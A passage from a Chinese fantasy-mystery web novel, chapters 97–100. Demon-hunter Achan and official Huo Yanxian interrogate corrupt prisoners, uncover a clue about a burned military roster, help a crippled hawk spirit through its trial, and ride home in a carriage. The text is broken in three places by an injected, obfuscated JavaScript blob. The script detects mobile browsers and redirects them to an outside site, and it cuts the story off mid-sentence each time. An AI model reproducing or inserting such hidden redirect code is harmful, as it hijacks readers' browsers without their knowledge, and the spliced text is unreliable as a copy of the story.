随即,阿婵用符箓催着狈负蛇,将三个重刑犯赶鸭子一般赶到了绣衣察事司扎营的地方。 霍彦先已经率先回去坐在了太师椅上,喝着茶,捻着草,笑着看向三人。 “霍大人!救命啊!霍大人!”三人鬼哭狼嚎。 以为正要经历第十一次鬼打墙的三人在黑暗中崩溃了一个晚上,此刻终于见到天光篝火,见到了活人,见到了霍彦先,简直就像见到了亲人一般,如蒙大赦! 要不是绣衣察事司司众将三人绑起来,他们那架势恨不得就要冲上去抱着霍彦先的大.腿不撒手。 几把老骨头散了架一般摇摇晃晃,大字型躺在地上就差一命呼呜。 刚能如释重负地躺在地上歇口气。 下一刻,就听到霍彦先拖着尾音,慢条斯理地说:“行了,风景也看了,山也逛够了,开始审讯吧。” 三人:“……” 不如直接让他们死! 97. 十年前的线索 如此冰冷的话语,让三个重刑犯在盛夏天都直打寒颤。 阿婵看着好笑,不愧是绣衣察事司,不止霍彦先,其他司众干耗这一晚上也跟没事人一样,此时听到开始审讯,大家眼中反而还泛出兴奋的光,跟打了鸡血一样精神! 不过,这三人贪污了百姓那么多血汗钱,不把他们千刀万剐已经是便宜他们的了。 如果此番狈负蛇能让他们把贪污的钱赶紧吐.出来还之于民,也算是狈负蛇功德一件。 说着,阿婵看看手中奄奄一息的狈负蛇,挑了个远的角落,开始作法。 因按照绣衣察事司的规矩,阿婵不能够靠近审讯的地方,以免审讯信息泄露。她正好趁此时间,赶紧处理一下药性被完全激发出来的狈负蛇,以便作药引。 但看狈负蛇身上鬼气缠绕,应该是还有些人命债,她先作法将这些冤魂超度,而后便将其胆汁取出密封好,以备药用。 这需耗费一些修为,阿婵内伤未愈,连夜赶路没怎么休息,又在山中折腾了一整晚,此刻觉得有些胸闷疲乏,便坐下闭目养神。 不多久,听到远处传来一阵骚动。 她睁眼看去。 却见霍彦先从帐篷里粗暴地拖出了一个人,是那个重刑犯周崇善。 阿婵眯起眼睛,不是已经在帐内审讯过了吗,这拖出来是又要做什么? 不过,落在霍彦先手里,想也知道没有什么好下场。 只见霍彦先非常暴力地将人直接往密林中拖行,地上布满尖锐的岩石树枝,藤蔓树根隐蔽绊脚,蚂蚁毒虫无处不在,但是,霍彦先完全不管这些,只一味将周崇善往里拖行。 一般人遇到这些障碍物要想拖人行走是绝对拖不动的,但是霍彦先力道之大,一路拖着大腹便便的周崇善竟若如履平地。 只是苦了周崇善,他不仅衣衫全被刮破,还明显感到自己已经皮开肉绽,苦不堪言。 他疼得想嚎,但一对上霍彦先那时不时回头看过来的阴冷眼神,他就是再疼也不敢放肆大叫,只能小声憋屈地一边飙泪,一边像猪一样哼哼。 没拖多远,周崇善的衣衫就已经拖拖拉拉变成了烂布条,看得阿婵都不禁皱眉。 她望着霍彦先拖人的背影,觉得有点不对劲,不知为何,霍彦先此刻看上去就像变了一个人。 虽然平时他不笑时也冷厉,但此刻他周身由内而外散发出来的戾气,却一眼便让人胆寒,真活像刚从地狱里爬出来的“沉命阎罗”。 阿婵直觉霍彦先应该是有什么极其机密的事情要审问,是连其他绣衣察事司司众都不可以随意探听的那种,她不禁百爪挠心,非常想跟过去一探究竟。 但看了一圈,绣衣察事司在密林外围严防死守,防着外人进入,当然,也包括阿婵。 她只得打消了这个念头。 *** 霍彦先将周崇善拖进密林,后者刚被溜了一晚,魂飞魄散,如今又经历了绣衣察事司的高强度审讯,此刻好不容易找回来的魂魄又丢掉了一半。 他拉风箱似的喘着粗气,痛哭流涕地哀求霍彦先: “求求你了霍大人,我已经把钱藏在哪儿都一五一十告诉你们了,你能不能让我痛痛快快地死,嘶……” 事到如今,周崇善才觉得自己实在是太天真了! 他起初还觉得绣衣察事司不过如此,是传言言过其实了。没想到如今都把自己折磨成这样了,这个该死的霍彦先竟然还不放过他!这人是魔鬼吧!嘶—— 深.入密林之中,四周已经无人,只有天光透进来,霍彦先终于将周崇善放下。 周崇善半死不活地瘫在地上,大口大口喘着气。暑热难耐,密林中更是连一丝风都没有,他满头大汗,只觉胸口憋闷,连喘气都十分艰难。 一对上霍彦先那如墨渊般的眼神,他就更觉窒息。 只听得霍彦先面无表情道:“十年前朔勒之战,杜时衡所率军队名册原版卷宗怎么没了?” 周崇善:“???” 霍彦先显然没有那么好的耐心,一脚踏上周崇善的胸口,周崇善差点觉得自己是在被胸口碎大石,一口血呕出来,天旋地转。 缓了好一会儿,他才忙说:“小人只知道,当时名册被火烧了。其他的什么也不知道啊!” 霍彦先的脚踩得更加用力了些:“谁烧的?” 他才不管周崇善如何卑微求饶,只看其眼神闪烁,就知道这家伙肯定没说实话。 “咳咳咳……”周崇善又吐.出一口老血,霍彦先踩人的功力也是一绝,痛苦吐血但又不会立马致命,像狈负蛇一样慢慢溜人。 他等周崇善缓了缓,才又作势一脚踩下。 一时间,周崇善在密林中被狈负蛇鬼打墙的绝望之感一下又涌上心头,脑子“嗡”地一下,脱口而出:“小人只知道是皇后娘娘将卷宗库的人调走,不一会儿便发生了火灾……” “嘉善皇后?!”霍彦先登时震惊无比。 “是……咳咳咳……”周崇善还在吐血,意识已经不清醒。 十年前,霍彦先亲自去朔勒清点杜时衡等人阵亡精锐的尸体,明明一人不少。 但最近,他发现事实并非如此。 前一阵,大理寺送来了三个重刑犯,涉及户部仓储物资、赋税、营造材木等贪墨罪行,以及堆积如山的卷宗物证。 按照他的习惯,每一个卷宗物证,都必须由他亲自先过手审阅一遍,才能由下面的司众继续进行后续的处理流程。 他每日下朝后,点灯熬油加班加点地审阅,发现在周崇善家搜查出的一本陈年账簿中,有一页空白册页上面,沾了些许墨迹,像是前一页写了字,墨迹透过纸背沾到这页上的。 怕遗漏证据,他当时将这一页墨迹想办法还原出来,结果令他大为震惊。 原来这一页的内容,并不全是关于军队仓库物资的,而是和十年前圣人委派杜时衡率领的那只精锐部队有关。 周崇善十年前还是户部一个负责军队物资调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351059|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配文书登记的小吏。 霍彦先发现,这些字迹显示的杜时衡那一支精锐部队所需的物资账目,和他收尸清点的人数是对不上的,这里多了十五个人。 但当时,圣人告知霍彦先的精锐部队人数,却与他在朔勒亲自清点的尸体数量对得上。 也就是说,还有另外这十五个人的尸体,没有被朔勒方移交给他?或者是,朔勒和圣人两方都没有发现这十五人的存在? 但怎么可能? 圣人没有必要拿人数骗他,而他自己掌握的情报中也没有这十五人。 又或者,还有一个可能,就是这十五人,压根就不存在于圣人和他自己的情报网中? 如果是其他人,这尸体没有找到,或许就这么不了了之了。 但十年前的朔勒之战,是霍彦先心中盘亘已久的噩梦,任何一个谜团都会让他揪心难受,不查清楚便寝食难安。 自查出军队人数不一致之后,他便又开始像是魔怔了一般,将十年前的那场战役的各种资料重新再盘查一遍。 并四处查找那只精锐部队的各种卷宗名册原件,经过多番比对查证,都和他所清点的尸体人数对得上,只除了周崇善家中这页看不清的墨迹对不上。 霍彦先也去卷宗库找过负责存放周崇善所写卷宗原件的官吏,对方说当年曾发生过一场小火灾,原版名册在这场火灾中被烧毁了。 当时起火范围很小,很快就被扑灭了,大家都以为是天干物燥引发的意外,因为有誊抄的副本也就没有在意,结果没想到,过了不久,这支部队就全军覆没了。再调查,就都是看的副本。 霍彦先私下的调查陷入僵局,再加上他那时还在为贵女毁容案和煜王妃煞气案四处奔忙,一时顾不上这件事。 直到煜王妃被抓获,玥宜公主让他帮助阿婵找药引,他正好将审讯周崇善和找药引一并进行,力图让周崇善在精神崩溃的边缘吐露实情。 可是刚才,周崇善却说是嘉善皇后命人把看管原版册页的人调走之后不久便发生了火灾。 这一切,到底是巧合,还是嘉善皇后故意命人去做的? 霍彦先眉头紧皱,心中各种疑问此起彼伏,脚下不自觉又重了些。 “咳咳咳……霍大人,我……我真的把知道的全说了……” 周崇善气若游丝,他一把老骨头,平时脑满肠肥,顿顿酒肉,哪受过这种苦,此时精神和体力上双双到达极限,终于熬不住,翻着白眼便晕了过去。 霍彦先看着他那一身肥肉全是民脂民膏,嫌恶得很,真想一刀了结算了,但碍于还需找到藏匿的贪污款项才知道他有没有说谎,只好把他拖出密林外。 向外走了一会儿,忽听到密林中有窸窸窣窣的动静。 霍彦先警觉地停下拖行的脚步,向四周看去。 这个时间,黑夜已褪尽,借着那一点透过层层树枝洒下来的天光,霍彦先看到距离自己不远的地方,一个被藤蔓紧紧缠绕的巨树下,有一个人影…… 98. 心魔劫 霍彦先心中警惕起来,这个时间点,这个荒山密林中,怎么会有人贸然出现在这里?刚才他来的时候,也没见有人啊。 那人见到他,也像周崇善三个被鬼打墙一晚上见到他一样亲切,冲着霍彦先挥臂疾呼:“兄台!兄台!能不能帮帮忙?” 他指指自己的脚踝,霍彦先仔细看去,发现他身着赭黑破烂衣衫,似乎是脚踝受伤不能走路,所以急求自己的帮助。 霍彦先并不害怕荒山野岭遇到这种来路不明的人,反正他一贯遇神杀神,遇佛杀佛,要害怕也该是别人害怕才是。 当下他便拖着周崇善走过去,问他:“你怎么了?” 那赭黑衣衫男子初见霍彦先朝他走来还满脸兴奋,觉得自己终于有救了,待看清霍彦先身后还拖拽着一个胖子,而且是完全不顾地上人的死活,身上剐破流血都不带管的,不由得惊掉下巴。 这密林地上杂草藤蔓树根利石什么都有,根本无处下脚,这胖子就这么被在地上一拖,那跟在刀片上刮鱼鳞有什么区别? 紧接着,看清霍彦先脸上的肃杀之气,男子连开口的语气都小心翼翼起来: “兄台,我……我不小心在这密林崴了脚,你能不能搭把手,扶我走出去?” 霍彦先看这人大概四十左右年纪,头发稀疏,八字眉毛,眼角下耷,身形瘦弱得像纸片羽毛,风一吹就能飘走,看上去一副愁眉苦脸手无缚鸡之力的样子。 他云淡风轻道:“可以啊,你不介意,我也拖着你走。” “……”那男子讪笑,“兄台,你、你不是开玩笑吧,这拖着怎么走啊……” 这人这么狠,他要是被拖着走,那估计伤的不是脚踝,连腿都能直接拽掉了。 看霍彦先一脸毫无诚意的样子,那赭黑衣衫男子自知不该找他帮忙,于是又失落坐下:“那还是不打扰兄台了,我等脚踝好点,自己走出去吧。” “哦,那算了。”霍彦先便拖着周崇善转头走了。 *** 阿婵在密林外等了半晌,觉得无聊,刚准备躺下休息,霎时间睁大了眼睛。 只见霍彦先从密林里出来了。 他一手拖着昏迷不醒的周崇善,但……怎么回事……他肩上还扛着一个人? 霍彦先一走出密林,便把身上扛着的男子放在地上,而后将重刑犯周崇善交给前来接应的绣衣察事司司众。 那男子一脸欣喜自己终于得救了样子,激动道:“兄台大恩大德,没齿难忘,不知以后,是否可以和兄台把酒言欢,成为知己?” 霍彦先却冷着脸:“已经出林子了,说吧,你姓甚名谁,家在哪里,我叫人送你回去。” 那男子本来非常高兴,闻言突然脸色一僵,吞吞吐吐地说:“我姓姚,叫我老姚就好了……” 霍彦先点头,等他继续往下说,那人却没了声音。 见他这幅样子,霍彦先皱起眉头,脸色阴鸷下来,手顺势就按在了腰间的贯苍刀上。 老姚一看他的刀,立马两股战战,整个人瑟缩起来。 “霍大人,你怎么还真抢起我的活计来了?” 耳边响起阿婵的声音。 霍彦先一整晚和阿婵一起捉妖、溜人、审讯,加之刚才在密林中探听到了惊人的消息,心中仿佛经历了一场狂风暴雨,又拖着扛着两个人出来,整个人此时都很疲惫,抬眼看阿婵,没有一点陪她戏谑玩闹的心思。 但看阿婵眨眨眼,惊讶且欲言又止的模样,他还是耐着性子问道:“什么意思?你怎么在这里?” 阿婵悄悄拉了拉霍彦先的衣角,示意他借一步说话。 霍彦先跟了过去,阿婵看着那陌生男子,小声凑在他耳边道:“霍大人,这不是个妖怪吗,你从哪儿弄来的?” “???” 霍彦先闻言脸色骤变。 那赭黑衣衫的老姚,脸色变得更是厉害…… *** 老姚站在两人身后不远处,眼神晦暗不安,双手手指绞着破烂衣角,神情纠结。 阿婵悄悄和霍彦先耳语:“你到底怎么遇见它的?” 霍彦先将经过说了。 “我见他一个人坐在那里,怕山中有野兽,便将他顺手先带出来,反正他要是作妖我就杀了他。” 感受到霍彦先冷厉的视线,老姚又是一哆嗦,正想悄悄走开,阿婵反手就是一道符箓,将他瞬间圈在原地。 只听得一声凄惨的唳鸣,刚才老姚站立的地方,人不见了,变成了一只暗灰赭色带黑褐色横斑的鹞子,扑扇着折了一半的翅膀,还掉了两根毛。 霍彦先不由得十分诧异。 他从过军,军中驯养的鹞子,大多身姿矫健,凌空翱翔,伏击猎物时眼神犀利,进攻猛烈精准。 但他还从未见过此等糟毛秃背、脚瘸翅折、无精打采、畏畏缩缩的鹞子。 但霍彦先已经跟着阿婵见识了不少精怪,此刻只是嫌它有点丑,倒也没特别震惊,神色还是淡定的。 阿婵道:“这是鹞子精,我看他身上还有些功德,倒也不是什么罪大恶极之辈。” “那现在它这是要干嘛?” 霍彦先看着它一副忸怩胆小的样子,问什么也说不出来,不由得心中起急,审讯人他有经验,但可没有审讯过妖。 “问问呗。” 说着,阿婵让霍彦先拿着贯苍刀过去。 还什么都没做,那自称老姚的鹞子精便放声大哭,连声道:“我就知道!我就知道!呜呜呜呜……” “……” “……” 这回轮到阿婵和霍彦先摸不着头脑了。 “老天爷,你要是不想让我活,何必几次三番戏弄我,直接让我死了不就好了,呜呜呜呜……” 这鹞子精也不知道是怎么了,一见到霍彦先的贯苍刀就反应很大,似乎触动了什么伤心事,崩溃大哭。 霍彦先和阿婵面面相觑,不由得想到了牡丹花妖水漫都督府的情景。 不过看它这幅倒霉透顶的样子,估计也没什么太大的威胁,也就任它哭去了。 待它哭完,二人才知道缘由。 原来,这鹞子精从小便在这片山林中长大,出生时先天不足,一边羽翼折断,那时候它母亲还有其他幼崽,嫌它碍事,便将它从窝中赶出去摔死。 可它命大,掉在了草堆上,竟然没死,还顽强挣.扎。 后来鹞子精想,母亲可能也是心疼它的,只是实在没办法照顾它这种天生残疾的幼崽,见它摔得七荤八素,半死不活,心想不如就送它一程,便用喙和利爪反复击打它,让它快点死掉。 它非常非常痛,四处挣.扎躲藏,却根本躲不开母亲狂风暴雨般的攻击。 巧的是,那日突然乌云遮顶,眼看巨大雷暴来袭,母亲只好丢下它,带着其他孩子赶紧找地方躲避。 整个林间鸟兽四散逃窜躲避,只剩它一个孤零零地等死。 没想到,一道雷劈在它身上,将它的一只爪子劈断,但它在剧痛之中竟然醒过来了! 它不仅没死,反而自那之后,身体一天比一天有所好转,还发现自己竟开了灵智。 渐渐长大后,它在林子里找来找去,都没有发现母亲和其他兄弟姐妹的身影,和山中其他精怪鸟兽打听过后,才知道母亲早已在那个雷暴夜来临之前,便举家出了林子。 它很失落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355748|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但也努力活着,修炼。 他脚瘸,毛秃,翅膀断了,不能飞。 在其他鸟兽眼中,鹞子本是颇有威仪的猛禽,但它们看它的眼神,并没有敬畏和害怕,只有怜悯,和嘲笑。 它日复一日只能在林子里蹦蹦跳跳觅食,有鹞子飞进来见到它,大为震惊,说它简直是鹞子之耻,怎么能像一只鸡一样蹦来蹦去! 说完便拍拍翅膀,轻盈地飞走了。 鹞子精更加自卑胆怯,但心中也希望有朝一日,自己修炼之后,能够向它一样,展翅翱翔,飞出这片林子。 它越发努力地修炼,但它发现,无论自己怎么努力,都走不出这片林子,这里对它而言,似乎是樊笼,是诅咒。 后来有个年长的黄仙对它说,可以试试找过路的山中人,向他们讨封。 鹞子精发现了新的突破口,便努力和进山的人示好,想和他们做知己朋友,还学着人类的交友手段,叫什么“把酒言欢”。 但是每一次,它开口的时候,那些人不是吓一跳,匆忙逃跑;就是和它假意交好,最后把它在林子里杀害。 刀砍、火烧、掐脖子、折翅膀,什么手段都有,就是没有一个真正的好心人愿意把它带出这片林子。 “五十次啊!整整五十次!我修为才五十年,就被杀了五十次!你说这些人,咋就那么坏呢!”老姚嚎啕大哭。 霍彦先咋舌,怪不得它看见自己的贯苍刀这么大反应,原来是被杀怕了…… 阿婵感叹,“怪不得你才五十年就能修成人形,这也太惨了!” 天道公平,虽然给了它悲惨的身世,却也赋予了它极高的天赋灵根,让它比一般精怪修炼得都快,但修炼进程越快,意味着需要渡的劫也就更多。 怪不得它这么自卑胆小,说不清是幸运还是倒霉。 “那些背刺你的人呢?”阿婵问。 “死了。”老姚哭丧着脸说,“不知道为啥,每次杀完我,他们也就死了。” 阿婵了然,“是你的修为太强了,他们对你起歹心也会遭到反噬。” “我只是想和人交个朋友,把我带出这片林子,这要求高吗,为什么进这片林子的没有一个好人啊!”老姚呜咽着。 “……” “……” 霍彦先和阿婵均感到路过被骂。 “好了,事到如今,我也不想活了,你们这符箓很强,五十年里我也是第一次遇到,求求你们直接杀了我吧,我也不要转世投胎,活着没意思、没意思!” 看这鹞子精一脸颓唐衰败、看透世事、生无可恋地杵着翅膀的样子,阿婵将霍彦先拉到一边。 “它天赋灵根极高,修为不可限量,幸好脑子不太灵光,也没什么坏心思,不然就是为祸一方的大妖。但现在看它这副模样,大概是走不出自己的‘心魔劫’,此番就看你愿不愿意帮它渡劫了。” “心魔劫?” 阿婵点头。 “你看它修为虽高,但不通世故,也是倒霉,五十年间想走出这林子一直所遇非人。 那些人给了他一次又一次希望,希望一次又一次破灭,可它还是如此执着,这执念可不是一般的深。 它刚才那么激动地说希望能和你做知己好友,把酒言欢,大概这就是它的执念和劫数。” 霍彦先问道:“你不能帮它渡劫吗?” 阿婵摊手:“可它看上的是你啊。这是你们之间的因缘,我没法介入。” “……”这回轮到霍彦先脸色沉了下来。 阿婵见他这样,心知,什么知己,什么把酒言欢,又何尝不是霍彦先的心魔劫。 她也想知道,他会是什么反应。 99. 屏住呼吸 鹞子精老姚的执念是得一知己,把酒言欢。 但自杜时衡死后,霍彦先似乎再没知己。他身上背负那么多秘密,岂会轻易和人交心,又怎么会有知己。 当初在富州城江边,阿婵坦诚和他聊心事,想把关系拉进一步,霍彦先那句“我的朋友可不好做”把所有人拒之门外的态度,大概也是他的心魔。 霍彦先沉默半晌,问道:“若我不愿呢?” “不知道,但你大概不会死,毕竟你也没背刺它。实在不想就拒绝,但要给个准话,方便它下一次渡劫。” “……” 霍彦先看向可怜兮兮的老姚,“它既不是恶妖,也不必用符箓圈着它了。” 阿婵依言将老姚身上的符箓去了,它又恢复了人形,也恢复了自由身。 “兄台……” 见他们放了自己,老姚眼中又燃起一点点火星儿般的期盼。 只见霍彦先铁青着脸站在原地,不言不语,浑身较劲,也不知道是在跟谁置气。 一时间,林间寂静。 …… 仿佛过去了一百年,久到老姚眼中期盼的光渐渐冷却、覆灭,它垂下眼眸。 果然……还是自己不配。 它从降生开始就是一个错误…… 母亲嫌它累赘,路人也不拿他当回事,那些和它虚以为蛇的“好兄弟”,背地里一个个对它磨刀霍霍。 老姚想了这么多年也没想明白,天道为什么非要它活,活着受不停被抛弃、被背刺的折磨。 它恢复了人形,佝偻着背,一瘸一拐,慢吞吞地转身走向深山密林,似要与这亘古幽暗的山林融为一体…… 阿婵看着它那孤寂凄凉的背影,心下叹气。 她转头悄悄看向霍彦先。 此刻,他也转过了身,朝着营地走去。 对此,阿婵倒是不惊讶。霍彦先本就是这样的人,封闭自己,将一切隔绝。 只不过苦了鹞子精,这是难逃的一劫,不知道它还要等几十年、几百年才能渡过? 自古历劫便是如此,无论是人还是妖,都要饱受内心和肉.体的煎熬,只有少许道心最为坚定的,比如林慎之和伍幔青,才能够历劫飞升。 见事情已成定局,她便也打算跟着霍彦先回去,收拾收拾,打道回府。 两人一妖,就此分道扬镳。 就在此时,只听到霍彦先扬声说了一句:“以后有空,可以来找我喝酒。” ??? !!! 老姚和阿婵同时转头看向霍彦先,眼中充满惊诧。 尤其是老姚,甚至不敢相信自己的耳朵。 霍彦先没有停下脚步,继续朝着营地的方向走,仿佛说话的并不是他。 但老姚却似乎浴火重生了一般,眼中终于焕发出神采,背也不驼了,一瘸一拐的脚步也掷地有声了。 它忙三步并做两步追上霍彦先,小心翼翼地靠近他,双手绞着衣角,想确认自己是不是听错了。 可又害怕对方觉得它太烦了,毕竟自己是妖,他能说这样一句口封帮自己渡劫已经顶好了,实在不能要求太多。 霍彦先别扭地瞥了老姚一眼,看它一副委委屈屈窝窝囊囊的样子,没说话,继续走。 老姚一直亦步亦趋跟在后面,快追上他的时候,又屡屡犹豫停顿,不敢开口祈求确认。 正在它低头一边走一边快把衣角绞烂的时候,耳边又传来一句:“不用觉得自己是妖就不配,毕竟我也不是什么好人……” 这次终于听得清清楚楚,老姚喜出望外,向霍彦先深深一揖:“多谢兄台!兄台是大好人!大大的好人!” 霍彦先终于停下脚步,侧头看它一副就算被卖了还要替人数钱的天真模样,语重心长地叹气:“你可多长点心吧……” 老姚闻言,用力点头,兴高采烈地将一根褐色羽毛用力塞到霍彦先手中,“这个,送给兄台。” 而后,它现了原形,身上折断多年的背羽竟完全长好了,从糟乱拔秃瞬间变得光泽柔顺起来。 老姚拍拍翅膀,一用力,便腾空高飞,在上空盘旋了几圈,欢快地长啸几声,才渐渐飞远。 霍彦先终于松了口气一般,不再吝啬目光,朝老姚远去的方向眺望。 阿婵看着他,心中有些异样。 “走吧。”天空中老姚已经消失不见,霍彦先便叫上阿婵一起回营地。 走着走着,却发现阿婵没动,他回头喊她:“怎么不走?” “大人……似乎变了许多。” “人不能变吗?” “有点好奇是因为什么。” 霍彦先定定看了她一会儿,轻勾唇角,似笑非笑,“不是你说的么,‘星辰难测,不及人心’,我也不知道为什么会变。” 说罢,径自大步迈开,向营地去了,脚步似乎也更轻松了些。 阿婵被他看得有些不自在,落在了后面,心中纳闷。 到底发生什么了?怎么从蓬莱春那晚见面开始,他就这么奇怪? *** 帮老姚渡劫成功,药引狈负蛇也已找到,三个重刑犯该审讯的也已审讯完毕,霍彦先和阿婵准备收拾东西,打道回府。 霍彦先安排绣衣察事司司众忙碌起来,回头见阿婵脸色不好,在一旁心事重重,甚是安静地发愣。 他大步走过来问她:“怎么了,是不是伤口又不舒服了?” 阿婵才回神,深吸了口气,打起精神,“刚才超度狈负蛇身上的冤魂费了些神而已,不碍事。” 她看到霍彦先手中还把老姚给的羽毛当草根拈着,忙道:“大人,快把这信羽收好,别丢了。” 霍彦先看了看手里的褐色羽毛,“它给我这东西到底是什么意思?” “这是信羽,算是你帮它渡劫的谢礼,你就好好随身携带别丢了,关键时刻可以助你辟邪禳灾,化险为夷,平日没事也可以增强阳气,补充气血,是好东西。”阿婵解释。 霍彦先听完,毫不犹豫将羽毛塞进阿婵手中。 阿婵:“?” 霍彦先:“你平日捉妖遇险比较多,比我更需要它,还是你拿着吧。” “啊?我……” 阿婵立刻要推拒解释,但霍彦先打断她:“再说你不是现在内伤外伤都未愈,最需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363804|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补阳气和气血了。” 阿婵:“……” 她有些哭笑不得地将信羽塞回霍彦先手里,霍彦先皱眉。 “霍大人,这是老姚对你的一番心意,妖物精怪也是很重承诺的,你救了它,它报答你,这是你们之间的因果和契约,别人拿到没用的,你得自己收好。” “哦,这样啊……” 霍彦先这才恍然,只好将信羽塞回怀中收好,随即想起老姚那八字眉毛下耷眼,一副命很苦的样子,不禁有些质疑: “保护我?它那个样子,能护住它自己就不错了!” *** 绣衣察事司动作很快,不过半个时辰后,车马队伍已经准备妥当。 马上就可以出发,霍彦先打算和不久前上车换药的阿婵说一声。 可没想到一连叫了她几声,都没人应。 霍彦先心中着急,以为她出了什么事,撩开车帘,却发现阿婵正在闭目养神,看样子已经陷入了沉睡,安静又略带些苍白脆弱。 这令霍彦先想起自己在西北出任务时,偶然在山间救下的一只雪狐,刚遇到他的时候,那小东西龇着牙,瞪着眼,张牙舞爪,但混熟了之后在他旁边睡着时,却安静乖巧毛茸一团。 他心中莫名一软,手势示意队伍安静开拔,而后自己蹑手蹑脚上了马车,坐在了来时的位置。 这是霍彦先第三次看到阿婵完全沉睡的模样,和前两次不同,这次她受了伤,身上还有浓重的药味。 应该是前不久她救母亲时被贼人车轮碾压所受外伤涂的药,但之前为了找狈负蛇,阿婵担心药味会惊扰妖物,便一直不肯上药。 直到任务结束,她才抽空上马车给自己抹了药。 不仅有外伤,还有内伤。霍彦先自然是知道会使人吐血的内伤有多严重,加之这一路为了尽快完成圣人的任务,累日奔波,完全没休息好。 阿婵身为捉妖人,能够睡得这么沉,一定是极其疲惫乏累了。 霍彦先不禁叹了口气。 忽然,马车一阵颠簸,尽管他已经提前叮嘱车夫尽量将马车驶得平稳一些,但山路土石不可避免。 饶是这样,阿婵依旧没醒,坐在那里摇摇晃晃,睡得沉极了。 霍彦先皱眉,她似乎又瘦了些,本就瘦削的身子更加单薄,面上血色不显,整个人看起来像个极其易碎的白瓷瓶。 再次,马车剧烈颠簸了一下,阿婵身子晃得厉害,眼看要倒下,霍彦先赶紧伸手扶住她的肩膀。 可这一段路都是土石,不平稳,只要霍彦先收回手,阿婵便会倒下。 没办法,霍彦先只好轻轻挪到她身边,让她靠着自己。 阿婵身上的药味愈发浓重,萦绕在霍彦先鼻尖心头,让他更加愧疚,他想挪开些,怕挨得太紧触碰到她的伤口,但又怕挪开后阿婵晃倒惊醒,一时间竟不知该怎么好,整个人直挺挺地正襟危坐,都有点僵住了。 马车继续行驶,向左转弯,阿婵的脑袋晃啊晃,顺势倒在了霍彦先肩头,发髻触碰到了霍彦先的脖颈处,柔柔软软的,痒痒的…… 这下,霍彦先更是屏住了呼吸,整个人僵住…… 100. 醒来 阿婵醒来时,恍惚间没能第一时间睁开眼,因为睡得太沉,车厢内光线又很刺眼,应该还是白日。 马车外喧嚣入耳,似是进入了一个县城,有市集午间击鼓三百声的鼓声传来。 阿婵回想起自己睡着之前天刚亮,那此时应该是已经走了很久了。 身侧很热,她这才意识到,自己正倚靠着一个人。 熟悉的清冽味道让她意识到,这是霍彦先…… 这是霍彦先!!! 她浑身一激灵,怎么回事?这不应该!自己竟然靠着霍彦先睡了这么久!毫无防备! 阿婵内心瞬间无声给了自己好几个巴掌,实在是太大意了! 她本想立刻弹开,但是……恢复清灵的脑子立刻冒出了一个念头。 既然都已经睡了这么久,那不妨…… 说着,她便假装毫无意识地挪挪脑袋,伸出手四处乱摸,然后精准地摸到了霍彦先的衣领处,用力一扯…… 霍彦先在阿婵身边,也睡了一会儿,但早已清醒,只是他平日里都是骑马,还从未坐过两个时辰的马车,有些憋闷。 可见阿婵一直没醒,他也不敢动,队伍一路走走停停,他也都没有下马车活动,甚至拿出了做绣衣暗候时搞潜伏的耐心来,忍着腰酸腿麻,生怕惊动阿婵。 忽然,阿婵开始有了动静,可没想到,她竟伸出一只手朝自己胸.前摸.来。 ??? !!! 霍彦先几乎是下意识抓住了她的手,随即想起禾阳县成贤客栈三楼,阿婵打开柜门袭击他的场景,瞬间耳尖染红。 他皱眉看向阿婵,此刻阿婵像猫一样,头在他肩头蹭了蹭,似是醒来,转头看向他。 惺忪的睡眼,瓷白的皮肤,小巧精致的鹅鼻樱.唇,这一切离霍彦先只有一点点距离,他的心跳忽然漏了一拍…… 看着只露出一点点胸.前皮肤的霍彦先,阿婵十分失望,既而发现那一点点皮肤也迅速变红,不禁更想探究一下他胸.前到底有没有那颗痣。 但霍彦先抓住了她的手,她便只能假装刚醒来的样子,眼中迷离,口中惊慌道:“霍大人,你怎么……我的手……” 霍彦先连忙放开她的手,捂住胸口,没好气地问:“你做什么?!” “啊?” “你这回又是梦到什么了?” 阿婵突然反应过来,霍彦先这是说上次在禾阳县查贵女毁容案的茶馆雅间,自己不小心睡着了,醒来突然抱着他手臂的事。 她挠挠头,讪笑道:“不好意思啊大人,不知道怎么我就睡着了,梦里在抓一只胖猫,差一点就抓住尾巴了,可还是让它给跑了……” 霍彦先:“……” …… 后面的路程,为了避免尴尬,霍彦先一直骑马,阿婵也再没找到机会探究衣衫之下的秘密,只能好好休息,总算顺利回到了桓安。 回来后,霍彦先略作修整,便继续忙碌。 一是检查杨奉安这几天查绑架母亲的贼人是否有成果;二是进宫找圣人复命,完成了替公主找药引的事,也要交代一下三个重刑犯的的事,他还得和大理寺通气,将贪污的款项尽快找回。 